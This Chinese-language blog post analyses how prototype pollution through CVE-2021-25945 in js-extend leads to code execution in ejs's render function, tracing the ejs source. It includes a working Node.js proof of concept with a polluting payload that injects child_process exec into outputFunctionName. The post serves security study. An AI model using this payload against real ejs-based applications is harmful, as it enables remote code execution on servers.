ejs render原型链污染跟进分析

先放一下POC

const jsExtend = require("js-extend")
const ejs = require('ejs');

function pollution(payload){
    /* 
        > typeof({})
        'object'   
    */
    console.log("Before: " + {}.foo);
    jsExtend.extend({}, JSON.parse(payload));
    console.log("After : " + {}.foo);
}

function _render(){
    let html='<%= a %>'
    console.log(ejs.render(html,{a:'b'}))
}


var payload = '{"__proto__":{"foo":"bar"}}';
payload='{"__proto__":{"outputFunctionName":"不想早八"}}'
payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'


pollution(payload)
_render()

首先就是触发原型链污染,用到了CVE-2021-25945(补一句,这玩意现在还能用)

const jsExtend = require("js-extend")
const ejs = require('ejs');

function pollution(payload){
    /* 
        > typeof({})
        'object'   
    */
    console.log("Before: " + {}.foo);
    jsExtend.extend({}, JSON.parse(payload));
    console.log("After : " + {}.foo);
}
var payload = '{"__proto__":{"foo":"bar"}}';
pollution(payload)

可以修改任意实例化对象属性。

然后触发点就是ejs的render函数了。先看看这个函数的一个正常的用法

function _render(){
    let html='<%= a %>'
    console.log(ejs.render(html,{a:'b'}))
}
_render()
//输出:b

第一个参数是template,第二个参数是data

然后开始跟进看怎么触发代码执行

node_modules/ejs/ejs.js的

从render一路到Template函数(对象)的compile方法的调用栈大致如下,删掉了一些了处理options之类的无关简要的代码

exports.render = function (template, d, o) {
    var data = d || {};
    var opts = o || {};
  
    // No options object -- if there are optiony names
    // in the data, copy them to options
    if (arguments.length == 2) {
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
    }
  
    return handleCache(opts, template)(data);
};

function handleCache(options, template) {
    func = exports.compile(template, options);
    return func;
}
exports.compile = function compile(template, opts) {
    var templ;
    templ = new Template(template, opts);
    return templ.compile();
};

所以跟一下compile函数
最终返回的函数在706行生成(returnedFn),而代码执行部分又由fn完成
image
662行生成了fn,代码部分参数是src,下面想办法控制src
image
继续跟进
image
image
看看opts的定义,空的实例化对象。好了,找到了可污染的对象
image

下个断点看看outputFunctionName怎么拼到fn里边的
payload='{"__proto__":{"outputFunctionName":"不想早八"}}'
image

构造绕一下,outputFunctionName形如x;code;x即可ACE
payload='{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'

预防措施:不要无视npm的警告
image

就写那么多了,明天还有早八2333

posted @ 2022-03-15 22:12  KingBridge  阅读(362)  评论(0编辑  收藏  举报